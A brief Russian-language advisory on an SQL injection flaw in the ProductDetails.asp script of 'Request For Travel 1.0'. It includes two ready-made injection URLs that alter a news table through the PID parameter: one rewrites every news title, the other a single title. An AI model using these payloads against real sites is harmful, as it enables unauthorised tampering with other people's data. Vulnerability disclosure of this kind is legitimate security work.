Программа: Request For Travel 1.0
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценарием ProductDetails.asp. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Примеры:
-> Все заголовки новостей изменить на = "kro"
//ProductDetails.asp?from=desc&mod=region&CID=- 1&RID=-1&PID=-1;update%20gtsNews%20set%20NewsTitle='kro'--
-> NewsId заголовок изменить на = "kro"
//ProductDetails.asp?from=desc&mod=region&CID=- 1&RID=-1&PID=-1;update%20gtsNews%20set%20NewsTitle='kro'%20where%20NewsID=2--
